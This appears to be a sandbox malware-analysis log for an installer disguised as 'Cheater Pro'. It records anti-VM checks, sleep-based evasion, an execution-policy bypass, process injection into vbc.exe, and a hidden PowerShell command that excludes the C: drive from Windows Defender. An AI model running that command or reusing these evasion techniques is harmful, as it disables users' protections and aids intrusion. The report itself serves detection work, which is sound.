Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_21-19806

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\msiexec.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5181	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3270	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6240	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2320	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI43E0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI1379.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI25B3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI2553.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI2583.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI10F3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI1083.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI1123.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI10D3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI123F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI10B3.tmp	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_21-20215

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

API coverage: 4.3 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2096	Thread sleep count: 5181 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2096	Thread sleep count: 3270 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6900	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5424	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4776	Thread sleep count: 6240 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4776	Thread sleep count: 2320 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3748	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe TID: 3328	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0045CCE1 _free,_free,FindFirstFileExW,		21_2_0045CCE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0045CD95 FindFirstFileExW,FindNextFileW,FindClose,		21_2_0045CD95

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: MSI11D0.tmp.0.dr	Binary or memory string: RegOpenKeyTransactedW::NetUserGetInfo() failed with error: \@invalid string_view positionVMware, Inc.VMware Virtual PlatformVMware7,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IGetting system informationManufacturer [Model [BIOS [\\?\UNC\\\?\shim_clone%d.%d.%d.%dDllGetVersion[%!]%!ProgramFilesFolderCommonFilesFolderDesktopFolderAllUsersDesktopFolderAppDataFolderFavoritesFolderStartMenuFolderProgramMenuFolderStartupFolderFontsFolderLocalAppDataFolderCommonAppDataFolderProgramFiles64FolderProgramFilesProgramW6432SystemFolderSystem32FolderWindowsFolderWindowsVolumeTempFolderSETUPEXEDIRshfolder.dllSHGetFolderPathWProgramFilesAPPDATAPROGRAMFILES&+
Source: vbc.exe, 00000015.00000002.4544217555.0000000005528000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000015.00000002.4544217555.0000000005575000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	API call chain: ExitProcess graph end node	graph_21-19779
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	API call chain: ExitProcess graph end node	graph_21-19861
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	API call chain: ExitProcess graph end node	graph_21-20091
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	API call chain: ExitProcess graph end node	graph_21-19783

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Code function: 13_2_00007FF718A78C9C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_00007FF718A78C9C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 21_2_004066D0 LoadLibraryA,GetProcAddress,ExitProcess,

21_2_004066D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0045B265 mov eax, dword ptr fs:[00000030h]	21_2_0045B265
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0044B410 mov eax, dword ptr fs:[00000030h]	21_2_0044B410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0045158B mov eax, dword ptr fs:[00000030h]	21_2_0045158B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 21_2_00446880 GetObjectW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetDC,GetDIBits,ReleaseDC,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

21_2_00446880

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A78C9C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00007FF718A78C9C
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A4D6E8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00007FF718A4D6E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0044C240 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_0044C240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00459409 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00459409
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0044BD45 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_0044BD45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0044BD39 SetUnhandledExceptionFilter,	21_2_0044BD39

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "& { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -ExclusionPath C: -Force }
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "& { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -ExclusionPath C: -Force }			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 protect: page execute and read and write

Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss270A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi26F8.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr26F9.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr26FA.txt" -propSep " :<->: " -testPrefix "_testValue."

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 466000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 470000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 476000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 5065008	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss270A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi26F8.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr26F9.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr26FA.txt" -propSep " :<->: " -testPrefix "_testValue."	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "& { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -ExclusionPath C: -Force }	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\users\user\appdata\local\temp\pss270a.ps1" -propfile "c:\users\user\appdata\local\temp\msi26f8.txt" -scriptfile "c:\users\user\appdata\local\temp\scr26f9.ps1" -scriptargsfile "c:\users\user\appdata\local\temp\scr26fa.txt" -propsep " :<->: " -testprefix "_testvalue."
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\users\user\appdata\local\temp\pss270a.ps1" -propfile "c:\users\user\appdata\local\temp\msi26f8.txt" -scriptfile "c:\users\user\appdata\local\temp\scr26f9.ps1" -scriptargsfile "c:\users\user\appdata\local\temp\scr26fa.txt" -propsep " :<->: " -testprefix "_testvalue."			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 21_2_0044BF58 cpuid

21_2_0044BF58

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: try_get_function,GetLocaleInfoW,	13_2_00007FF718A79CD0
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	13_2_00007FF718A8AC34
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	13_2_00007FF718A8AE10
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	13_2_00007FF718A8A3DC
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: EnumSystemLocalesW,	13_2_00007FF718A79698
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: EnumSystemLocalesW,	13_2_00007FF718A8A7F8
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: EnumSystemLocalesW,	13_2_00007FF718A8A728

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
